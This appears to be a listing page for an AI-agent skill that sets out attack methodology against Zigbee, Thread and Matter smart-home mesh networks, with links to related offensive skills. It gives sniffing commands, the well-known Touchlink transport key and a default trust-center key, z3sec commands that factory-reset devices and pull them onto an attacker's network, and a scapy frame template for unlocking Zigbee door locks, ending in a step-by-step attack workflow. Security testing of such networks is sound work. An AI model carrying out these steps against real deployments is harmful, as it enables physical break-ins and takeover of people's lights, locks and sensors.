Assess smart-home and commercial mesh networks, where devices relay communications. Covers Zigbee, Thread, and Matter, with methods for observing radio traffic, reviewing device setup and key handling, and testing exposure of lighting, locks, and sensors.
中文简介正在准备中。当前显示英语简介。
Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks.
安装前可以查看交给 AI 代理的指令内容。
802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
| Adapter | Use |
|---|---|
| TI CC2531 USB stick | Cheap, works with Zigbee2MQTT, KillerBee |
| TI CC2540 / CC2652 | Zigbee + Thread + BLE |
| Sonoff Zigbee Dongle E (CC2652P) | Modern, well-supported |
| ApiMote (KillerBee dev) | Multi-channel, scapy-dot15d4 |
| HackRF + appropriate firmware | Lower-level RF flexibility |
# KillerBee suite
zbstumbler -i 0 # find Zigbee networks
zbid # ID coordinators
zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)
In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.
Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:
0x9F559A553B7A6B2C5C4FBB4E84956F3D
Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>
Outcomes:
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap
# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes
Once you have the network key, all traffic on that mesh is decrypted in Wireshark.
Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *
frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')
The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.
Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.
Attack surface:
Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:
Attack surface:
offensive-bluetooth-ble)# 1. Identify networks + channels
zbstumbler -i 0
# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee dissectors
# 3. Touchlink attack on consumer Zigbee 3.0 lighting
python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>
# 4. Steal device into attacker network
python z3sec_inter_pan.py --command "join_network" --target <addr>
# 5. With network key, issue ZCL commands directly
# (custom scapy-dot15d4 + zbee_nwk frames)
# 6. For Thread: focus on commissioner / PSKc theft from companion apps
还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问，或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
Assess Active Directory security by mapping accounts, permissions, and paths to administrative access. The skill covers credential misuse, certificate service misconfigurations, movement between systems, and hybrid identity environments involving Entra ID.
中文简介正在准备中。当前显示英语简介。
Organize red team exercises that simulate adversaries to assess an organization's detection and response. Covers engagement rules, infrastructure, operational controls, evidence handling, and reports that help security teams review gaps and prioritize improvements.
中文简介正在准备中。当前显示英语简介。
Review how evidence can be altered during authorized security exercises on Windows and Linux. Covers logs, timestamps, memory, disk records, and network traces, alongside the signs defenders use to detect manipulation.
中文简介正在准备中。当前显示英语简介。
Assess API business workflows for flaws that automated scanners can miss. The skill examines skipped steps, simultaneous transactions, authentication tokens, GraphQL, and webhooks, helping testers document weaknesses and their financial or operational impact during authorized assessments.
中文简介正在准备中。当前显示英语简介。
Test REST, gRPC, and WebSocket APIs for weaknesses in authentication, access controls, input handling, and configuration. Provides protocol-specific checks, tool guidance, and detection indicators to help document reproducible findings and severity during authorized assessments.
中文简介正在准备中。当前显示英语简介。
Assess Bluetooth Low Energy devices by inspecting exposed data and commands, pairing methods, captured traffic, and companion apps. The skill provides a testing workflow for identifying authentication gaps and weaknesses in device communication.
中文简介正在准备中。当前显示英语简介。